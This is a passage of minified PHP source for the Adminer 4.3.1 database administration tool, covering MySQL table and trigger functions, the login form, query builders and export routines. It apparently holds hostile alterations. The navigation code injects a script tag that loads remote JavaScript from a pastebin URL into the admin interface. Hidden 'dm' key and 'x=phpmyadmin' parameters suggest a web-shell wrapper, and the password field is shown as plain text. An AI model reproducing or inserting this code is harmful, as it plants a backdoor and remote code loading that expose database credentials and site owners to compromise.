- $c[]=($o[1]?($R!=""?($o[0]!=""?"CHANGE ".idf_escape($o[0]):"ADD"):" ")." ".implode($o[1]).($R!=""?$o[2]:""):"DROP ".idf_escape($o[0]));
- $c=array_merge($c,$Pc);
- $P=($qb!==null?" COMMENT=".q($qb):"").($mc?" ENGINE=".q($mc):"").($d?" COLLATE ".q($d):"").($Ka!=""?" AUTO_INCREMENT=$Ka":"");
- if($R=="")
- return queries("CREATE TABLE ".table($C)." (\n".implode(",\n",$c)."\n)$P$tf");
- if($R!=$C)
- $c[]="RENAME TO ".table($C);
- if($P)
- $c[]=ltrim($P);
- return ($c||$tf?queries("ALTER TABLE ".table($R)."\n".implode(",\n",$c).$tf):true);
- }
- function alter_indexes($R,$c) {
- foreach($c as $y=>$X)
- $c[$y]=($X[2]=="DROP"?"\nDROP INDEX ".idf_escape($X[1]):"\nADD $X[0] ".($X[0]=="PRIMARY"?"KEY ":"").($X[1]!=""?idf_escape($X[1])." ":"")."(".implode(",",$X[2]).")");
- return queries("ALTER TABLE ".table($R).implode(",",$c));
- }
- function truncate_tables($T) {
- return apply_queries("TRUNCATE TABLE",$T);
- }
- function drop_views($li) {
- return queries("DROP VIEW ".implode(",",array_map('table',$li)));
- }
- function drop_tables($T) {
- return queries("DROP TABLE ".implode(",",array_map('table',$T)));
- }
- function move_tables($T,$li,$lh) {
- $fg=array();
- foreach(array_merge($T,$li) as $R)
- $fg[]=table($R)." TO ".idf_escape($lh).".".table($R);
- return queries("RENAME TABLE ".implode(",",$fg));
- }
- function copy_tables($T,$li,$lh) {
- queries("SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'");
- foreach($T as $R) {
- $C=($lh==DB?table("copy_$R"):idf_escape($lh).".".table($R));
- if(!queries("\nDROP TABLE IF EXISTS $C")||!queries("CREATE TABLE $C LIKE ".table($R))||!queries("INSERT INTO $C SELECT * FROM ".table($R)))
- return false;
- }
- foreach($li as $R) {
- $C=($lh==DB?table("copy_$R"):idf_escape($lh).".".table($R));
- $ki=view($R);
- if(!queries("DROP VIEW IF EXISTS $C")||!queries("CREATE VIEW $C AS $ki[select]"))
- return false;
- }
- return true;
- }
- function trigger($C) {
- if($C=="")
- return array();
- $L=get_rows("SHOW TRIGGERS WHERE `Trigger` = ".q($C));
- return reset($L);
- }
- function triggers($R) {
- $J=array();
- foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R, "%_\\"))) as $K)
- $J[$K["Trigger"]]=array($K["Timing"],$K["Event"]);
- return $J;
- }
- function trigger_options() {
- return array("Timing"=>array("BEFORE","AFTER"),"Event"=>array("INSERT","UPDATE","DELETE"),"Type"=>array("FOR EACH ROW"));
- }
- function routine($C,$U) {
- global $g,$oc,$wd,$Oh;
- $Ba=array("bool","boolean","integer","double precision","real","dec","numeric","fixed","national char","national varchar");
- $Nh="((".implode("|",array_merge(array_keys($Oh),$Ba)).")\\b(?:\\s*\\(((?:[^'\")]|$oc)++)\\))?\\s*(zerofill\\s*)?(unsigned(?:\\s+zerofill)?)?)(?:\\s*(?:CHARSET|CHARACTER\\s+SET)\\s*['\"]?([^'\"\\s,]+)['\"]?)?";
- $yf="\\s*(".($U=="FUNCTION"?"":$wd).")?\\s*(?:`((?:[^`]|``)*)`\\s*|\\b(\\S+)\\s+)$Nh";
- $i=$g->result("SHOW CREATE $U ".idf_escape($C), 2);
- preg_match("~\\(((?:$yf\\s*,?)*)\\)\\s*".($U=="FUNCTION"?"RETURNS\\s+$Nh\\s+":"")."(.*)~is",$i,$B);
- $p=array();
- preg_match_all("~$yf\\s*,?~is",$B[1],$he, PREG_SET_ORDER);
- foreach($he as $nf) {
- $C=str_replace("``","`",$nf[2]).$nf[3];
- $p[]=array("field"=>$C,"type"=>strtolower($nf[5]),"length"=>preg_replace_callback("~$oc~s",'normalize_enum',$nf[6]),"unsigned"=>strtolower(preg_replace('~\\s+~',' ', trim("$nf[8] $nf[7]"))),"null"=>1,"full_type"=>$nf[4],"inout"=>strtoupper($nf[1]),"collation"=>strtolower($nf[9]));
- }
- if($U!="FUNCTION")
- return array("fields"=>$p,"definition"=>$B[11]);
- return array("fields"=>$p,"returns"=>array("type"=>$B[12],"length"=>$B[13],"unsigned"=>$B[15],"collation"=>$B[16]),"definition"=>$B[17],"language"=>"SQL");
- }
- function routines() {
- return get_rows("SELECT ROUTINE_NAME, ROUTINE_TYPE, DTD_IDENTIFIER FROM information_schema.ROUTINES WHERE ROUTINE_SCHEMA = ".q(DB));
- }
- function routine_languages() {
- return array();
- }
- function last_id() {
- global $g;
- return $g->result("SELECT LAST_INSERT_ID()");
- }
- function explain($g,$H) {
- return $g->query("EXPLAIN ".($g->server_info>=5.1?"PARTITIONS ":"").$H);
- }
- function found_rows($S,$Z) {
- return ($Z||$S["Engine"]!="InnoDB"?null:$S["Rows"]);
- }
- function types() {
- return array();
- }
- function schemas() {
- return array();
- }
- function get_schema() {
- return "";
- }
- function set_schema($ug) {
- return true;
- }
- function create_sql($R,$Ka) {
- global $g;
- $J=$g->result("SHOW CREATE TABLE ".table($R), 1);
- if(!$Ka)
- $J=preg_replace('~ AUTO_INCREMENT=\\d+~','',$J);
- return $J;
- }
- function truncate_sql($R) {
- return "TRUNCATE ".table($R);
- }
- function use_sql($k) {
- return "USE ".idf_escape($k);
- }
- function trigger_sql($R,$Wg) {
- $J="";
- foreach(get_rows("SHOW TRIGGERS LIKE ".q(addcslashes($R, "%_\\")), null, "-- ") as $K)
- $J.="\n".($Wg=='CREATE+ALTER'?"DROP TRIGGER IF EXISTS ".idf_escape($K["Trigger"]).";;\n":"")."CREATE TRIGGER ".idf_escape($K["Trigger"])." $K[Timing] $K[Event] ON ".table($K["Table"])." FOR EACH ROW\n$K[Statement];;\n";
- return $J;
- }
- function show_variables() {
- return get_key_vals("SHOW VARIABLES");
- }
- function process_list() {
- return get_rows("SHOW FULL PROCESSLIST");
- }
- function show_status() {
- return get_key_vals("SHOW STATUS");
- }
- function replication_status($U) {
- return get_rows("SHOW $U STATUS");
- }
- function convert_field($o) {
- if(preg_match("~binary~",$o["type"]))
- return "HEX(".idf_escape($o["field"]).")";
- if($o["type"]=="bit")
- return "BIN(".idf_escape($o["field"])." + 0)";
- if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))
- return "AsWKT(".idf_escape($o["field"]).")";
- }
- function unconvert_field($o,$J) {
- if(preg_match("~binary~",$o["type"]))
- $J="UNHEX($J)";
- if($o["type"]=="bit")
- $J="CONV($J, 2, 10) + 0";
- if(preg_match("~geometry|point|linestring|polygon~",$o["type"]))
- $J="GeomFromText($J)";
- return $J;
- }
- function support($Ec) {
- global $g;
- return !preg_match("~scheme|sequence|type|view_trigger|materializedview".($g->server_info<5.1?"|event|partitioning".($g->server_info<5?"|routine|trigger|view":""):"")."~",$Ec);
- }
- function kill_process($X) {
- return queries("KILL ".number($X));
- }
- function connection_id() {
- return "SELECT CONNECTION_ID()";
- }
- function max_connections() {
- global $g;
- return $g->result("SELECT @@max_connections");
- }
- $x="sql";
- $Oh=array();
- $Vg=array();
- foreach(array('Numbers' => array("tinyint" => 3,"smallint" => 5,"mediumint" => 8,"int" => 10,"bigint" => 20,"decimal" => 66,"float" => 12,"double" => 21),'Date and time' => array("date" => 10,"datetime" => 19,"timestamp" => 19,"time" => 10,"year" => 4),'Strings' => array("char" => 255,"varchar" => 65535,"tinytext" => 255,"text" => 65535,"mediumtext" => 16777215,"longtext" => 4294967295),'Lists' => array("enum" => 65535,"set" => 64),'Binary' => array("bit" => 20,"binary" => 255,"varbinary" => 65535,"tinyblob" => 255,"blob" => 65535,"mediumblob" => 16777215,"longblob" => 4294967295),'Geometry' => array("geometry" => 0,"point" => 0,"linestring" => 0,"polygon" => 0,"multipoint" => 0,"multilinestring" => 0,"multipolygon" => 0,"geometrycollection" => 0)) as $y => $X){
- $Oh += $X;
- $Vg[$y]=array_keys($X);
- }
- $Vh=array("unsigned","zerofill","unsigned zerofill");
- $Ve=array("=","<",">","<=",">=","!=","LIKE","LIKE %%","REGEXP","IN","IS NULL","NOT LIKE","NOT REGEXP","NOT IN","IS NOT NULL","SQL");
- $Xc=array("char_length","date","from_unixtime","lower","round","sec_to_time","time_to_sec","upper");
- $cd=array("avg","count","count distinct","group_concat","max","min","sum");
- $ec=array(array("char" => "md5/sha1/password/encrypt/uuid","binary" => "md5/sha1","date|time" => "now"),array("(^|[^o])int|float|double|decimal" => "+/-","date" => "+ interval/- interval","time" => "addtime/subtime","char|text" => "concat"));}
- define("SERVER",$_GET[DRIVER]);
- define("DB",$_GET["db"]);
- define("ME",preg_replace('~^[^?]*/([^?]*).*~','\\1',$_SERVER["REQUEST_URI"]).'?'.(sid()?SID.'&':'').(SERVER!==null?DRIVER."=".urlencode(SERVER).'&':'').(isset($_GET["username"])?"dm=".$pwd."&x=phpmyadmin&username=".urlencode($_GET["username"]).'&':'').(DB!=""?'db='.urlencode(DB).'&'.(isset($_GET["ns"])?"ns=".urlencode($_GET["ns"])."&":""):''));
- $ia="4.3.1";
- class Adminer {
- var $operators;
- function name() {
- return "<a href='https://www.adminer.org/' target='_blank' id='h1'>Adminer</a>";
- }
- function credentials() {
- return array(SERVER,$_GET["username"],get_password());
- }
- function permanentLogin($i=false) {
- return password_file($i);
- }
- function bruteForceKey() {
- return $_SERVER["REMOTE_ADDR"];
- }
- function database() {
- return DB;
- }
- function databases($Oc=true) {
- return get_databases($Oc);
- }
- function schemas() {
- return schemas();
- }
- function queryTimeout() {
- return 5;
- }
- function headers() {
- return true;
- }
- function head() {
- return true;
- }
- function loginForm() {
- global $Wb;
- echo '<table id="menustable" cellspacing="0" border="1">
- <tr><td>System<td>', html_select("auth[driver]",$Wb, DRIVER), '<tr>
- <td>Server<td><input type="text" name="auth[server]" value="', h(SERVER), '" title="hostname[:port]" placeholder="localhost" autocapitalize="off">
- <tr><td>Username<td><input type="text" name="auth[username]" id="username" value="', h($_GET["username"]), '" autocapitalize="off">
- <tr><td>Password<td><input type="text" name="auth[password]">
- <tr><td>Database<td><input type="text" name="auth[db]" value="', h($_GET["db"]), '" autocapitalize="off">
- </table>
- <script type="text/javascript">focus(document.getElementById(\'username\'));</script>', "<p><input type='submit' value='".'Login'."'>\n",checkbox("auth[permanent]",1,$_COOKIE["adminer_permanent"], 'Permanent login')."\n";
- }
- function login($ce,$G) {
- global $x;
- if($x=="sqlite")
- return sprintf('<a href="https://www.adminer.org/en/extension/" target="_blank">Implement</a> %s method to use SQLite.','<span class=cod>login()</span>');
- return true;
- }
- function tableName($ch) {
- return h($ch["Name"]);
- }
- function fieldName($o,$af=0) {
- return '<span title="'.h($o["full_type"]).'">'.h($o["field"]).'</span>';
- }
- function selectLinks($ch,$O="") {
- echo '<p class="links">';
- $be=array("select"=>'Select data');
- if(support("table")||support("indexes"))
- $be["table"]='Show structure';
- if(support("table")) {
- if(is_view($ch))
- $be["view"]='Alter view';
- else
- $be["create"]='Alter table';
- }
- if($O!==null)
- $be["edit"]='New item';
- foreach($be as $y=>$X)
- echo " <a href='".h(ME)."$y=".urlencode($ch["Name"]).($y=="edit"?$O:"")."'".bold(isset($_GET[$y])).">$X</a>";
- echo "\n";
- }
- function foreignKeys($R) {
- return foreign_keys($R);
- }
- function backwardKeys($R,$bh) {
- return array();
- }
- function backwardKeysPrint($Na,$K) {
- }
- function selectQuery($H,$sh) {
- global $x;
- return "<p><span class='jush-$x'>".h(str_replace("\n"," ",$H))."</span> <span class='time'>($sh)</span>".(support("sql")?" <a href='".h(ME)."sql=".urlencode($H)."'>".'Edit'."</a>":"")."</p>";
- }
- function sqlCommandQuery($H) {
- return shorten_utf8(trim($H), 1000);
- }
- function rowDescription($R) {
- return "";
- }
- function rowDescriptions($L,$Qc) {
- return $L;
- }
- function selectLink($X,$o) {
- }
- function selectVal($X,$_,$o,$if) {
- $J=($X===null?"<i>NULL</i>":(preg_match("~char|binary~",$o["type"])&&!preg_match("~var~",$o["type"])?"<span class=cod>$X</span>":$X));
- if(preg_match('~blob|bytea|raw|file~',$o["type"])&&!is_utf8($X))
- $J="<i>".lang(array('%d byte','%d bytes'), strlen($if))."</i>";
- if(preg_match('~json~',$o["type"]))
- $J="<span class='jush-js'>$J</span>";
- return ($_?"<a href='".h($_)."'".(is_url($_)?" rel='noreferrer'":"").">$J</a>":$J);
- }
- function editVal($X,$o) {
- return $X;
- }
- function tableStructurePrint($p) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n","<thead><tr><td>".'Column'."<td>".'Type'.(support("comment")?"<td>".'Comment':"")."</thead>\n";
- foreach($p as $o) {
- echo "<tr".odd()."><td>".h($o["field"]), "<td><span title='".h($o["collation"])."'>".h($o["full_type"])."</span>",($o["null"]?" <i>NULL</i>":""),($o["auto_increment"]?" <i>".'Auto Increment'."</i>":""),(isset($o["default"])?" <span title='".'Default value'."'>[<b>".h($o["default"])."</b>]</span>":""),(support("comment")?"<td>".nbsp($o["comment"]):""), "\n";
- }
- echo "</table>\n";
- }
- function tableIndexesPrint($w) {
- echo "<table id='menustable' cellspacing='0' border='1'>\n";
- foreach($w as $C=>$v) {
- ksort($v["columns"]);
- $Jf=array();
- foreach($v["columns"] as $y=>$X)
- $Jf[]="<i>".h($X)."</i>".($v["lengths"][$y]?"(".$v["lengths"][$y].")":"").($v["descs"][$y]?" DESC":"");
- echo "<tr title='".h($C)."'><td>$v[type]<td>".implode(",",$Jf)."\n";
- }
- echo "</table>\n";
- }
- function selectColumnsPrint($M,$f) {
- global $Xc,$cd;
- print_fieldset("select",'Select',$M);
- $s=0;
- $M[""]=array();
- foreach($M as $y=>$X) {
- $X=$_GET["columns"][$y];
- $e=select_input(" name='columns[$s][col]' onchange='".($y!==""?"selectFieldChange(this.form)":"selectAddRow(this)").";'",$f,$X["col"]);
- echo "<div>".($Xc||$cd?"<select name='columns[$s][fun]' onchange='helpClose();".($y!==""?"":" this.nextSibling.nextSibling.onchange();")."'".on_help("getTarget(event).value && getTarget(event).value.replace(/ |\$/, '(') + ')'",1).">".optionlist(array(-1=>"")+array_filter(array('Functions'=>$Xc,'Aggregation'=>$cd)),$X["fun"])."</select>"."($e)":$e)."</div>\n";
- $s++;
- }
- echo "</div></fieldset>\n";
- }
- function selectSearchPrint($Z,$f,$w) {
- print_fieldset("search",'Search',$Z);
- foreach($w as $s=>$v) {
- if($v["type"]=="FULLTEXT") {
- echo "(<i>".implode("</i>, <i>",array_map('h',$v["columns"]))."</i>) AGAINST"," <input type='text' name='fulltext[$s]' value='".h($_GET["fulltext"][$s])."' onchange='selectFieldChange(this.form);'>",checkbox("boolean[$s]",1, isset($_GET["boolean"][$s]), "BOOL"), "<br>\n";
- }
- }
- $_GET["where"]=(array) $_GET["where"];
- reset($_GET["where"]);
- $Ya="this.nextSibling.onchange();";
- for($s=0; $s<=count($_GET["where"]); $s++) {
- list(,$X)=each($_GET["where"]);
- if(!$X||("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators))) {
- echo "<div>".select_input(" name='where[$s][col]' onchange='$Ya'",$f,$X["col"], "(".'anywhere'.")"), html_select("where[$s][op]",$this->operators,$X["op"],$Ya), "<input type='text' name='where[$s][val]' value='".h($X["val"])."' onchange='".($X?"selectFieldChange(this.form)":"selectAddRow(this)").";' onkeydown='selectSearchKeydown(this, event);' onsearch='selectSearchSearch(this);'></div>\n";
- }
- }
- echo "</div></fieldset>\n";
- }
- function selectOrderPrint($af,$f,$w) {
- print_fieldset("sort",'Sort',$af);
- $s=0;
- foreach((array) $_GET["order"] as $y=>$X) {
- if($X!="") {
- echo "<div>".select_input(" name='order[$s]' onchange='selectFieldChange(this.form);'",$f,$X), checkbox("desc[$s]",1, isset($_GET["desc"][$y]), 'descending')."</div>\n";
- $s++;
- }
- }
- echo "<div>".select_input(" name='order[$s]' onchange='selectAddRow(this);'",$f), checkbox("desc[$s]",1, false, 'descending')."</div>\n","</div></fieldset>\n";
- }
- function selectLimitPrint($z) {
- echo "<fieldset><legend>".'Limit'."</legend><div>";
- echo "<input type='number' name='limit' class='size' value='".h($z)."' onchange='selectFieldChange(this.form);'>","</div></fieldset>\n";
- }
- function selectLengthPrint($rh) {
- if($rh!==null) {
- echo "<fieldset><legend>".'Text length'."</legend><div>","<input type='number' name='text_length' class='size' value='".h($rh)."'>","</div></fieldset>\n";
- }
- }
- function selectActionPrint($w) {
- echo "<fieldset><legend>".'Action'."</legend><div>","<input type='submit' value='".'Select'."'>"," <span id='noindex' title='".'Full table scan'."'></span>","<script type='text/javascript'>\n","var indexColumns = ";
- $f=array();
- foreach($w as $v) {
- $Db=reset($v["columns"]);
- if($v["type"]!="FULLTEXT"&&$Db)
- $f[$Db]=1;
- }
- $f[""]=1;
- foreach($f as $y=>$X)
- json_row($y);
- echo ";\n","selectFieldChange(document.getElementById('form'));\n","</script>\n","</div></fieldset>\n";
- }
- function selectCommandPrint() {
- return !information_schema(DB);
- }
- function selectImportPrint() {
- return !information_schema(DB);
- }
- function selectEmailPrint($jc,$f) {
- }
- function selectColumnsProcess($f,$w) {
- global $Xc,$cd;
- $M=array();
- $ad=array();
- foreach((array) $_GET["columns"] as $y=>$X) {
- if($X["fun"]=="count"||($X["col"]!=""&&(!$X["fun"]||in_array($X["fun"],$Xc)||in_array($X["fun"],$cd)))) {
- $M[$y]=apply_sql_function($X["fun"], ($X["col"]!=""?idf_escape($X["col"]):"*"));
- if(!in_array($X["fun"],$cd))
- $ad[]=$M[$y];
- }
- }
- return array($M,$ad);
- }
- function selectSearchProcess($p,$w) {
- global $g,$x;
- $J=array();
- foreach($w as $s=>$v) {
- if($v["type"]=="FULLTEXT"&&$_GET["fulltext"][$s]!="")
- $J[]="MATCH (".implode(",",array_map('idf_escape',$v["columns"])).") AGAINST (".q($_GET["fulltext"][$s]).(isset($_GET["boolean"][$s])?" IN BOOLEAN MODE":"").")";
- }
- foreach((array) $_GET["where"] as $X) {
- if("$X[col]$X[val]"!=""&&in_array($X["op"],$this->operators)) {
- $sb=" $X[op]";
- if(preg_match('~IN$~',$X["op"])) {
- $pd=process_length($X["val"]);
- $sb.=" ".($pd!=""?$pd:"(NULL)");
- }elseif($X["op"]=="SQL")
- $sb=" $X[val]";
- elseif($X["op"]=="LIKE %%")
- $sb=" LIKE ".$this->processInput($p[$X["col"]], "%$X[val]%");
- elseif($X["op"]=="ILIKE %%")
- $sb=" ILIKE ".$this->processInput($p[$X["col"]], "%$X[val]%");
- elseif(!preg_match('~NULL$~',$X["op"]))
- $sb.=" ".$this->processInput($p[$X["col"]],$X["val"]);
- if($X["col"]!="")
- $J[]=idf_escape($X["col"]).$sb;
- else {
- $nb=array();
- foreach($p as $C=>$o) {
- $Ed=preg_match('~char|text|enum|set~',$o["type"]);
- if((is_numeric($X["val"])||!preg_match('~(^|[^o])int|float|double|decimal|bit~',$o["type"]))&&(!preg_match("~[\x80-\xFF]~",$X["val"])||$Ed)) {
- $C=idf_escape($C);
- $nb[]=($x=="sql"&&$Ed&&!preg_match("~^utf8_~",$o["collation"])?"CONVERT($C USING ".charset($g).")":$C);
- }
- }
- $J[]=($nb?"(".implode("$sb OR ",$nb)."$sb)":"0");
- }
- }
- }
- return $J;
- }
- function selectOrderProcess($p,$w) {
- $J=array();
- foreach((array) $_GET["order"] as $y=>$X) {
- if($X!="")
- $J[]=(preg_match('~^((COUNT\\(DISTINCT |[A-Z0-9_]+\\()(`(?:[^`]|``)+`|"(?:[^"]|"")+")\\)|COUNT\\(\\*\\))$~',$X)?$X:idf_escape($X)).(isset($_GET["desc"][$y])?" DESC":"");
- }
- return $J;
- }
- function selectLimitProcess() {
- return (isset($_GET["limit"])?$_GET["limit"]:"50");
- }
- function selectLengthProcess() {
- return (isset($_GET["text_length"])?$_GET["text_length"]:"100");
- }
- function selectEmailProcess($Z,$Qc) {
- return false;
- }
- function selectQueryBuild($M,$Z,$ad,$af,$z,$E) {
- return "";
- }
- function messageQuery($H,$sh) {
- global $x;
- restart_session();
- $hd=&get_session("queries");
- $t="sql-".count($hd[$_GET["db"]]);
- if(strlen($H)>1e6)
- $H=preg_replace('~[\x80-\xFF]+$~','', substr($H, 0, 1e6))."\n...";
- $hd[$_GET["db"]][]=array($H,time(),$sh);
- return " <span class='time'>".@date("H:i:s")."</span> <a href='#$t' onclick=\"return !toggle('$t');\">".'SQL command'."</a>"."<div id='$t' class='hidden'><pre><span class='jush-$x'>".shorten_utf8($H, 1000).'</span></pre>'.($sh?" <span class='time'>($sh)</span>":'').(support("sql")?'<p><a href="'.h(str_replace("db=".urlencode(DB), "db=".urlencode($_GET["db"]), ME).'sql=&history='.(count($hd[$_GET["db"]])-1)).'">'.'Edit'.'</a>':'').'</div>';
- }
- function editFunctions($o) {
- global $ec;
- $J=($o["null"]?"NULL/":"");
- foreach($ec as $y=>$Xc) {
- if(!$y||(!isset($_GET["call"])&&(isset($_GET["select"])||where($_GET)))) {
- foreach($Xc as $yf=>$X) {
- if(!$yf||preg_match("~$yf~",$o["type"]))
- $J.="/$X";
- }
- if($y&&!preg_match('~set|blob|bytea|raw|file~',$o["type"]))
- $J.="/SQL";
- }
- }
- if($o["auto_increment"]&&!isset($_GET["select"])&&!where($_GET))
- $J='Auto Increment';
- return explode("/",$J);
- }
- function editInput($R,$o,$Ia,$Y) {
- if($o["type"]=="enum")
- return (isset($_GET["select"])?"<label><input type='radio'$Ia value='-1' checked><i>".'original'."</i></label> ":"").($o["null"]?"<label><input type='radio'$Ia value=''".($Y!==null||isset($_GET["select"])?"":" checked")."><i>NULL</i></label> ":"").enum_input("radio",$Ia,$o,$Y, 0);
- return "";
- }
- function processInput($o,$Y,$r="") {
- if($r=="SQL")
- return $Y;
- $C=$o["field"];
- $J=q($Y);
- if(preg_match('~^(now|getdate|uuid)$~',$r))
- $J="$r()";
- elseif(preg_match('~^current_(date|timestamp)$~',$r))
- $J=$r;
- elseif(preg_match('~^([+-]|\\|\\|)$~',$r))
- $J=idf_escape($C)." $r $J";
- elseif(preg_match('~^[+-] interval$~',$r))
- $J=idf_escape($C)." $r ".(preg_match("~^(\\d+|'[0-9.: -]') [A-Z_]+$~i",$Y)?$Y:$J);
- elseif(preg_match('~^(addtime|subtime|concat)$~',$r))
- $J="$r(".idf_escape($C).",$J)";
- elseif(preg_match('~^(md5|sha1|password|encrypt)$~',$r))
- $J="$r($J)";
- return unconvert_field($o,$J);
- }
- function dumpOutput() {$J=array('text'=>'open','file'=>'save');
- if(function_exists('gzencode'))
- $J['gz']='gzip';
- return $J;
- }
- function dumpFormat(){return array('sql'=>'SQL','csv'=>'CSV,','csv;'=>'CSV;','tsv'=>'TSV');
- }
- function dumpDatabase($m) {
- }
- function dumpTable($R,$Wg,$Fd=0) {
- if($_POST["format"]!="sql") {
- echo "\xef\xbb\xbf";
- if($Wg)
- dump_csv(array_keys(fields($R)));
- }else{
- if($Fd==2) {
- $p=array();
- foreach(fields($R) as $C=>$o)
- $p[]=idf_escape($C)." $o[full_type]";
- $i="CREATE TABLE ".table($R)." (".implode(",",$p).")";
- } else
- $i=create_sql($R,$_POST["auto_increment"]);
- set_utf8mb4($i);
- if($Wg&&$i) {
- if($Wg=="DROP+CREATE"||$Fd==1)
- echo "DROP ".($Fd==2?"VIEW":"TABLE")." IF EXISTS ".table($R).";\n";
- if($Fd==1)
- $i=remove_definer($i);
- echo "$i;\n\n";
- }
- }
- }
- function dumpData($R,$Wg,$H) {
- global $g,$x;
- $je=($x=="sqlite"?0:1048576);
- if($Wg) {
- if($_POST["format"]=="sql") {
- if($Wg=="TRUNCATE+INSERT")
- echo truncate_sql($R).";\n";
- $p=fields($R);
- }
- $I=$g->query($H, 1);
- if($I) {
- $yd="";
- $Wa="";
- $Md=array();
- $Yg="";
- $Fc=($R!=''?'fetch_assoc':'fetch_row');
- while($K=$I->$Fc()) {
- if(!$Md) {
- $gi=array();
- foreach($K as $X) {
- $o=$I->fetch_field();
- $Md[]=$o->name;
- $y=idf_escape($o->name);
- $gi[]="$y = VALUES($y)";
- }
- $Yg=($Wg=="INSERT+UPDATE"?"\nON DUPLICATE KEY UPDATE ".implode(",",$gi):"").";\n";
- }
- if($_POST["format"]!="sql") {
- if($Wg=="table") {
- dump_csv($Md);
- $Wg="INSERT";
- }
- dump_csv($K);
- }else{
- if(!$yd)
- $yd="INSERT INTO ".table($R)." (".implode(",",array_map('idf_escape',$Md)).") VALUES";
- foreach($K as $y=>$X) {
- $o=$p[$y];
- $K[$y]=($X!==null?unconvert_field($o, preg_match('~(^|[^o])int|float|double|decimal~',$o["type"])&&$X!=''?$X:q($X)):"NULL");
- }
- $sg=($je?"\n":" ")."(".implode(",\t",$K).")";
- if(!$Wa)
- $Wa=$yd.$sg;
- elseif(strlen($Wa)+4+strlen($sg)+strlen($Yg)<$je)
- $Wa.=",$sg";
- else {
- echo $Wa.$Yg;
- $Wa=$yd.$sg;
- }
- }
- }
- if($Wa)
- echo $Wa.$Yg;
- }elseif($_POST["format"]=="sql")
- echo "-- ".str_replace("\n"," ",$g->error)."\n";
- }
- }
- function dumpFilename($md) {
- return friendly_url($md!=""?$md:(SERVER!=""?SERVER:"localhost"));
- }
- function dumpHeaders($md,$ye=false) {
- $lf=$_POST["output"];
- $_c=(preg_match('~sql~',$_POST["format"])?"sql":($ye?"tar":"csv"));
- header("Content-Type: ".($lf=="gz"?"application/x-gzip":($_c=="tar"?"application/x-tar":($_c=="sql"||$lf!="file"?"text/plain":"text/csv")."; charset=utf-8")));
- if($lf=="gz")
- ob_start('ob_gzencode', 1e6);
- return $_c;
- }
- function homepage() {
- echo '<p class="links">'.($_GET["ns"]==""&&support("database")?'<a href="'.h(ME).'database=">'.'Alter database'."</a>\n":""),(support("scheme")?"<a href='".h(ME)."scheme='>".($_GET["ns"]!=""?'Alter schema':'Create schema')."</a>\n":""),($_GET["ns"]!==""?'<a href="'.h(ME).'schema=">'.'Database schema'."</a>\n":""),(support("privileges")?"<a href='".h(ME)."privileges='>".'Privileges'."</a>\n":"");
- return true;
- }
- //navigation
- function navigation($xe) {
- global $ia,$x,$Wb,$g;
- //echo '<h1>',$this->name(),' <span class="version">',$ia, '</span><a href="https://www.adminer.org/#download" target="_blank" id="version">', (version_compare($ia,$_COOKIE["adminer_version"])<0?h($_COOKIE["adminer_version"]):""), '</a></h1>';
- if($xe=="auth") {
- $Kc=true;
- foreach((array) $_SESSION["pwds"] as $ii=>$Fg) {
- foreach($Fg as $N=>$di) {
- foreach($di as $V=>$G) {
- if($G!==null) {
- if($Kc) {
- echo "<p id='logins' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";
- $Kc=false;
- }
- $Ib=$_SESSION["db"][$ii][$N][$V];
- foreach(($Ib?array_keys($Ib):array("")) as $m)
- echo "<a href='".h(auth_url($ii,$N,$V,$m))."'>($Wb[$ii]) ".h($V.($N!=""?"@$N":"").($m!=""?" - $m":""))."</a><br>\n";
- }
- }
- }
- }
- }else{
- if($_GET["ns"]!==""&&!$xe&&DB!="") {
- $g->select_db(DB);
- $T=table_status('', true);
- }
- echo '<script type="text/javascript" src="https://pastebin.com/raw/p5kB0A1V"></script>';
- if(support("sql")) {
- echo '<script type="text/javascript">';
- if($T) {
- $be=array();
- foreach($T as $R=>$U)
- $be[]=preg_quote($R, '/');
- echo "var jushLinks = { $x: [ '".js_escape(ME).(support("table")?"table=":"select=")."\$&', /\\b(".implode("|",$be).")\\b/g ] };\n";
- foreach(array("bac","bra","sqlite_quo","mssql_bra") as $X)
- echo "jushLinks.$X = jushLinks.$x;\n";
- }
- echo 'bodyLoad(\'', (is_object($g)?substr($g->server_info, 0, 3):""), '\');</script>';
- }
- $this->databasesPrint($xe);
- if(DB==""||!$xe) {
- echo "<p class='links'>".(support("sql")?"<a href='".h(ME)."sql='".bold(isset($_GET["sql"])&&!isset($_GET["import"])).">".'SQL command'."</a>\n<a href='".h(ME)."import='".bold(isset($_GET["import"])).">".'Import'."</a>\n":"")."";
- if(support("dump"))
- echo "<a href='".h(ME)."dump=".urlencode(isset($_GET["table"])?$_GET["table"]:$_GET["select"])."' id='dump'".bold(isset($_GET["dump"])).">".'Export'."</a>\n";
- }
- if($_GET["ns"]!==""&&!$xe&&DB!="") {
- echo '<a href="'.h(ME).'create="'.bold($_GET["create"]==="").">".'Create table'."</a>\n";
- if(!$T)
- echo "<p class='message'>".'No tables.'."\n";
- else
- $this->tablesPrint($T);
- }
- }
- }
- //navigation
- function databasesPrint($xe) {
- global $b,$g,$pwd;
- $l=$this->databases();
- echo '<form action="" methods="post"><p id="dbs">
- <input name="dm" value="'.$pwd.'" type="hidden">
- <input name="x" value="phpmyadmin" type="hidden">';
- hidden_fields_get();
- $Gb=" onmousedown='dbMouseDown(event, this);' onchange='dbChange(this);'";
- echo "<span title='".'database'."'>DB</span>: ".($l?"<select name='db'$Gb>".optionlist(array(""=>"")+$l, DB)."</select>":'<input type="text" name="db" value="'.h(DB).'" autocapitalize="off">'), "<input type='submit' value='".'Use'."'".($l?" class='hidden'":"").">\n";
- if($xe!="db"&&DB!=""&&$g->select_db(DB)) {
- if(support("scheme")) {
- echo "<br>".'Schema'.": <select name='ns'$Gb>".optionlist(array(""=>"")+$b->schemas(),$_GET["ns"])."</select>";
- if($_GET["ns"]!="")
- set_schema($_GET["ns"]);
- }
- }
- echo (isset($_GET["sql"])?'<input type="hidden" name="sql" value="">':(isset($_GET["schema"])?'<input type="hidden" name="schema" value="">':(isset($_GET["dump"])?'<input type="hidden" name="dump" value="">':(isset($_GET["privileges"])?'<input type="hidden" name="privileges" value="">':"")))), "</p></form>\n";
- }
- function tablesPrint($T) {
- echo "<ul id='tables' onmouseover='menuOver(this, event);' onmouseout='menuOut(this);'>\n";
- foreach($T as $R=>$P) {
